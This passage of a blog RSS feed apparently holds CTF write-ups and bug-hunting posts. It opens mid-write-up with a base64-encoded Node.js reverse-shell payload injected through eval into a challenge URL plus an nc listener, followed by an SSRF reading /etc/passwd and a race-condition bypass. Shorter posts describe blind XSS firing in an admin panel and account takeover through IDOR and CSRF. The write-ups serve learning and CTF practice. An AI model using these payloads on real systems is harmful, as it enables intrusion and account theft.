require(“child_process”).exec(“/bin/bash”); var client = new net.Socket(); client.connect(8080, “My iP”, function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});)<br>So Let’s Modified IT With My Ip address Ans Then Encode It To Base64 And Put It Again In The Payload ;)<br>The Final Payload Will Be Like That :<br><a href="http://dusty.darkarmy.xyz/addNotes?message[]=x&amp;message[]=y%27-eval(new%20Buffer(%22dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCIvYmluL2Jhc2giKTsgdmFyIGNsaWVudCA9IG5ldyBuZXQuU29ja2V0KCk7IGNsaWVudC5jb25uZWN0KDgwODAsICJNeUlwIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsgc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=%22,%20%22base64%22).toString())-%27.">http://dusty.darkarmy.xyz/addNotes?message[]=x&amp;message[]=y%27-eval(new%20Buffer(%22dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCIvYmluL2Jhc2giKTsgdmFyIGNsaWVudCA9IG5ldyBuZXQuU29ja2V0KCk7IGNsaWVudC5jb25uZWN0KDgwODAsICJNeUlwIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsgc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs=%22,%20%22base64%22).toString())-%27.</a><br>let’s Open A port Listner For Port 8080 nc -lvnp 8080 <br>And Alhamdullah We Got The Reverse Shell And Found The Flag In The / Directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/1*7_jD_9HxDApqm8JLSs3hLA.png" /></figure><p>let’s Move To The Fifth Challenge (Web/Chain Race) <br>Player: Abdelhameed Ghazy<br>Discreption: All files are included. Source code is the key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZXgnRdAjRWt2WYsCWAYNFw.png" /></figure><p>We Will Find A parameter Ask You To Enter Your Website and It’s Show The Source Code AS a Result<br>So The First Thing I Will Test Is SSRF And Alhamdullah It’s Vulnerable …. xD<br>So Let’s Read Some Internal Files <br>First I Put <a href="http://127.0.0.1/">http://127.0.0.1</a><br>And I Got The Html Code Of The index page <br>Then I Tried To Read /etc/passwd File By This Payload :file:///etc/passwd<br>And Alhamdullah It’s Worked XD</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*3B80iWOxFEOXN6Jqv2f6zw.png" /></figure><p>I tried To Use Ctrl+F to Search For Any Thint Related To The Flag So I Searched For dark (Flag Format if darkCTF())<br>As You See There Is (localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin) In The Last Line In /etc/passwd<br>So Let’s See What’s In The localhost8080 I Take The Result And Put It In A html file And Open It To See What is it ? <br>It’s The Source Code !!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*JxeDPYQp_tlQKolNKApyFA.png" /></figure><p>So Let’s Analyzing It ;)<br>Really It’s A weird Code So I Started Searching About It <br>After Some Hours OF Searching And Trying These Weird Function At My LocalHost I Understand How It’s Works :) <br>IF You Review The Source Code You Will Understand That There is Two Get Parameters user,secret<br>IF I Set user=AnyThing And secret=0X1337 <br>I will Set $Login_1 = 1 and $Login_2 = 1 <br>And IF I Set $Login_1=1 And $Login_2=1 I will Got The Flag ;)<br>But There Is A Bad Thing Here :(</p><p>As You Can See IF I Set user=admin OR secret=0X1337<br>and i Need To Set secret=0X1337<br>but Let’s Try It Any Way And See The Result The Result it (nope) As You See In Previous Code <br>So I Asked My Friend Mohamed Amgad (The Most Helpful Person In The World 3&gt;) And He Told Me That I can Bypass it By Putting The secret Parameter As Array<br>so The Link Will Be Like That <br>localhost8080/?user[]=anything&amp;secret[]=0X1337<br>And The Result Become (Nope) <br>So Alhamdullah We Success To baypass The First Problem And We are Into Another Condition<br>So Let’s Look In The Source Code Again And Know Why We Got (Nope) Insted OF (nope) So I found That We Are In This Condition</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*TIDZbbhWAWIbF8PHR3yK8A.png" /></figure><p>After I Asked MyFreind Mo SALAH (The Egyption King 3&gt; ) He Give Me a Hint That There’s A Race Condition<br>Then I want To Take A Break And Told My Friend Mohamed Amgad About The Hint He Told Me That There Is a Variable Called temp_name Depends On Time<br>$temp_name = sha1(md5(date(“ms”).@$_COOKIE[‘PHPSESSID’]));<br>And THe Condition That We Are In Will Gives Us The Flag If I Sent Two Requests In The Same MilliSecond <br>Because If You View The Source Code You Will See That There Are Two IF Conditions First OF Them checks IF The Login_1&amp;Login_2 =1<br>And The Second Checks IF It can Delete $temp_name If IT Couldn’t IT Will Pass To The Flag <br>So IF we Sent Two Requests In The Same MilliSecond The Second IF Condition Will not Work and We Will Got The Flag <br>The Second IF will not Work Because It CHecks If It Can Delete $temp_name and one OF Two Requests Will Delete It already So The Second Will Pass And Echo The flag<br>So I Go To Burpsuite And Open The Intruder And Sent 10000 Requests And Alhamdullah I Got The Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/279/1*rDJFFv1r7OW2jnrcf2PqWQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=920fea9a08f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My First Blind Xss]]></title>
            <link>https://abdelhameedghazy.medium.com/my-first-blind-xss-8a80709cc97a?source=rss-d800e8fa187e------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a80709cc97a</guid>
            <dc:creator><![CDATA[Abdelhameed Ghazy]]></dc:creator>
            <pubDate>Sat, 11 Jul 2020 20:16:12 GMT</pubDate>
            <atom:updated>2020-07-11T20:16:12.950Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Guys I Hope All of you are fine</p><p>A NEW E-Commerce Website Have been published and his owner is my friend so he asked me to do some tests so i go to xsshunter.com/ and copy the img payload and puts it in any parameter i have seen</p><p>then i saw contact us form so i decided to send the payloads throw it</p><p>i filled every thing by payloads then after 3 days its fired in admin panel and i take it over</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a80709cc97a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Account Take Over Via 3Ways]]></title>
            <link>https://abdelhameedghazy.medium.com/account-take-over-via-3ways-370df09ef508?source=rss-d800e8fa187e------2</link>
            <guid isPermaLink="false">https://medium.com/p/370df09ef508</guid>
            <dc:creator><![CDATA[Abdelhameed Ghazy]]></dc:creator>
            <pubDate>Sat, 11 Jul 2020 20:10:20 GMT</pubDate>
            <atom:updated>2020-07-11T20:10:20.879Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Every Body I Hope All Of You Are Fine</p><p>Today I gonna explained how i take over account via 3 ways :</p><p>First Way :-</p><p>I go to my profile and try to change the email , i aimed to get csrf so i opened my Burp Suite and intercept the request let’s say the website is example.com i found the request send data via get method from link like that : example.com/edit-profile.php?id=200</p><p>i tried to create another account and get it’s id and put it in id parameter in the link and fortunately it’s works and i can change any account data such that username and email,phone so i could takeover by this way</p><p>Second Way :-</p><p>i tried to use forget my password and view page source i found the token in the source</p><p>Third way :-</p><p>Go to Profile and try to change the Email as i noticed in the first way</p><p>then i go to my burpsuite and intercept the request then i go to</p><p><a href="https://security.love/CSRF-PoC-Genorator/">CSRF PoC Generator</a></p><p>and fill data and it’s works and changed email in account successfully</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=370df09ef508" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>